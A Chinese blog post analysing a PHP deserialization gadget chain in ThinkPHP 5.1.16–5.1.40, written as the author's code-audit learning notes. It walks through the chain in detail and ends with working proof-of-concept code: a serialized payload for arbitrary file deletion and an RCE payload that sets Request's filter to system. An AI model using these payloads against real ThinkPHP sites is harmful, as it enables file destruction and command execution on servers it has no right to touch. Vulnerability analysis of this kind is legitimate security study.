thinkphp5.1.16-5.1.40反序列化漏洞分析

最近在学代码审计,很好奇PHP反序列化漏洞在实际场景的代码中是怎么产生和利用的,于是学了几天thinkphp5开发,然后开始分析tp5一个反序列化漏洞。走出舒适区真吃力。

thinkphp5.1.16-5.1.40反序列化漏洞分析

条件:(满足一个条件就可以了)

  1. 需要一个二次开发反序列化的利用点
  2. 存在文件上传、文件名完全可控、使用了文件操作函数,例如: file_exists(‘phar://恶意文件’)

版本:thinkphp 5.1.16-5.1.40(测试了5.1.15,5.1.16,5.1.37,5.1.39,5.1.40)

漏洞链

think\process\pipes\Windows ⇒__destruct⇒removeFiles⇒file_exists⇒__toString

think\model\concern\Conversion⇒__toString⇒toJson⇒toArray

thinkphp\library\think\Request⇒__call⇒isAjax⇒parma⇒input⇒filterValue

简要说明

这里分析的版本是5.1.37,这个漏洞的起点是think\process\pipes\Windows类,通过__destruct方法调用removeFiles方法,传入一个对象给方法里面的file_exists(),调用这个对象的__toString方法,think\model\concern\Conversion这个类的__toString方法存在 可控类->visible(可控变量),用thinkphp\library\think\Request类的__call方法调用visible方法,thinkphp\library\think\Request里面还存在一个可以当成 call_user_func(任意参数,任意参数) 的input方法,导致命令执行

另外,Windows类这里还存在一个反序列化任意文件删除漏洞

详细分析

起点是think\process\pipes\Windows类的__destruct方法,这个方法调用了removeFiles方法

// thinkphp\library\think\process\pipes\Windows 
public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

removeFiles方法里面使用了file_exists($filename), $filename变量可控,如果传入一个对象,会调用对象的__toString方法将对象转换成字符串再判断

// thinkphp\library\think\process\pipes\Windows 
private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

查找分析可利用的__toString方法,think\model\concern\Conversion类的__toString方法可用

//thinkphp\library\think\model\concern\Conversion.php
public function __toString()
{
    return $this->toJson();
}

__toString方法调用了toJson方法

//thinkphp\library\think\model\concern\Conversion.php
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

toJson方法又调用了toArray

下面是关键代码

//thinkphp\library\think\model\concern\Conversion.php
public function toArray()
{
    $item       = [];
    $hasVisible = false;
    ...
	  if (!empty($this->append)) {
        foreach ($this->append as $key => $name) {
            if (is_array($name)) {
                // 追加关联对象属性
                $relation = $this->getRelation($key);

                if (!$relation) {
                    $relation = $this->getAttr($key);
                    $relation->visible($name);
                }
    ...
}

寻找toArray中的完全可控的部分

找到了可控类和可控变量

分析Conversion.php的191、192行

$relation来自thinkphp\library\think\model\concern\Attribute.php的$this->data[$name]

$name来自$this->append

因此$relation->visible($name) 变成了:可控类->visible(可控变量)

$relation = $this->getAttr($key);
$relation->visible($name);

接下来查找可控visible方法,没有的话就查找可控__call($method,$args)方法但是没有visible的类

然后调用这个类的visible方法,由于没有visible,visible会作为$method参数传递给__call,这里的$name也会传递给__call方法的$args参数,

这里有一个细节,使用__call代替visible时,visible会作为$method传入__call方法,$name则传入$args

在thinkphp\library\think\Request中的__call方法比较好用,$method可控,但是由于$args在330行用array_unshift强制将$this对象添加到前面,需要寻找不受这个参数影响的方法

  • $this->hook[$method]可控解释

    这里的$method是前面传递过来的visible,$this->hook可控,因此只需要设置$this->hook=[“visible”=>”任意方法”]就能使这里的call_user_func_array($this->hook[$method], $args); 相当于

    call_user_func_array(‘任意方法’, $args);

public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);
				//$this->hook是一个数组,可控,设置$this->hook=["visible"=>"任意方法"]
        return call_user_func_array($this->hook[$method], $args);
    }

    throw new Exception('method not exists:' . static::class . '->' . $method);
}

开始寻找不受$this对象影响的方法

\think\Request中的input方法是一个部分可控的方法,相当于call_user_func($filter,$data)

但是由于这里$data不可控,且$name = (string) $name;这里如果直接在__call调用input的话,由于__call方法里的$args数组第一个参数是一个固定的$this对象,会传递给input方法的第一个参数$data,$data在getData方法里面是作为数组使用,由于$this对象无法作为数组使用,框架会报错。

因此需要找一个调用了input方法且能控制$data参数并且可以控制$name的方法

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        ...

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }
						//从数组$data中获取键为$name的value作为$data的新值,这个value必须是数组
            $data = $this->getData($data, $name);
						
            ...

            if (is_object($data)) {//$data不能是对象
                return $data;
            }
        }

        // 解析过滤器
				//**1433行的getFilter方法里如果 $filter = false 则 $filter = $this->filter; 因此$filter可控**
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
						...
        } else {
            $this->filterValue($data, $name, $filter);
        }
				...

        return $data;
    }
private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);

    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        }
		...
{

查找input方法的调用,有7处

调用input的方法

由于param方法第一个参数可控,从这里入手

接下来寻找控制$name的方法

public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
        ...
    }

    if (true === $name) {
        ...
    }

    return $this->input($this->param, $name, $default, $filter);
}

查找调用了param的方法

显然这里isAjax和isPjax都能控制

isAjax和isPjax

public function isAjax($ajax = false)
{
    $value  = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;

    if (true === $ajax) {
        return $result;
    }

    $result           = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
}

到这里就构造完成了,只需要使Windows类里面的$filename为可以调用Conversion类的__toString方法的对象,使Conversion类里的$relation对象为Request类的实例,用__call调用isAjax方法,控制这些方法里面的参数,最终就可以调用input方法,并执行任意命令。

怎么去处理前面__call方法的$args数组里强加的$this对象?

__call实际调用的是isAjax,$args第一个参数$this对象会传递给isAjax方法的唯一一个参数$ajax,这并不影响后面$this->param($this->config[‘var_ajax’])的调用,因此这里不受$this对象的影响。

PS:

网上看到的文章里面的POC基本不能用,暂时不知道具体原因(还有些细节不太清楚,比如回显怎么整的),但是调试的时候发现是input方法里面的$data参数出了问题,往回找看见是在param方法里面对$this->param(也就是input的$data参数)做了一定修改,于是加上了protected $mergeParam=true;绕过了里面的修改,然后加上protected $param = [];设定$data,这才成功RCE,但美中不足的是没有回显,别人的POC都是有回显的,只能外带了。

任意文件删除POC

namespace think\process\pipes;

class Pipes{

}

class Windows extends Pipes
{
private $files = [];

public function __construct()
{
$this->files=['需要删除文件的路径'];
}
}

echo base64_encode(serialize(new Windows()));

RCE POC 5.1.16-5.1.40

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["poc"=>[" "," "]];
        $this->data = ["poc"=>new Request()];
    }
}
class Request
{
    protected $hook = [];

    protected $filter = "system";
    protected $mergeParam=true;
    protected $param = [];
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";//回调时调用的PHP函数
        $this->config = ["var_ajax"=>''];//在isAjax方法传递给param方法的$name绕过param方法的一些操作,但主要是为了绕过input方法里面对$data的改变
        $this->hook = ["visible"=>[$this,"isAjax"]];//在__call里面调用isAjax
        $this->mergeParam=true;//绕过param方法里的一些操作
        $this->param=["calc",""];//input方法的$data,也是即将执行的命令
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

还有几个问题:

为什么这里要有一个Pivot类?

这个Pivot类是怎么和Windows类产生联系的?

以上问题在这里找到了答案

https://www.freebuf.com/column/221946.html

result1

收获

  1. 类里的全局变量反序列化时是可控的,也就是说$this->xxx这种可控
  2. call($method,$args)方法的使用细节,调用不存在的方法时会交给这个方法处理,方法名会传递给$method,参数会传递给$args
  3. PHP的trait代码复用,用use导入后功能类似继承,优先级比继承高,比派生类低,POC里Windows类调用的Pivot类的toString 方法,查看可以发现Pivot里并没有 toString方法,但是Pivot继承的Model导入了Conversion类,这个__toString方法其实就是trait声明的Conversion类里的
  4. 一些PHP常用数据处理函数和回调函数的使用方法 https://www.notion.so/PHP-ae2238fe5d754e6081f486c190735010
  5. 对这种比较复杂的框架如何构造PHP反序列化POC有了一点了解

未解决的问题

  1. 文件上传的怎么利用?phar文件反序列化?有什么限制?
  2. 自己写个POC。
  3. 怎么修复防御?
  4. 为什么网上的POC会出错?

吐槽

由于开发只懂一点点(也就只能写点简单的控制器,模块),函数都是哪里不会查哪里,加上头一回分析这种框架里面的漏洞,过程十分艰辛,一度想过放弃,昨天上午就想看其他的来着,困扰我一两天的$this对象在调试代码的时候明白怎么回事了,加上网上POC都用不了,气得我愤而调试改POC,找到了解决办法(给我凑出一个POC来),这才完成大部分漏洞代码的理解。真的好吃力,但是收获也挺多的。

参考

https://xz.aliyun.com/t/6619

https://xz.aliyun.com/t/6467

https://www.p2hp.com/phpfuncs.html

https://www.freebuf.com/column/221946.html

https://paper.seebug.org/1040/


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!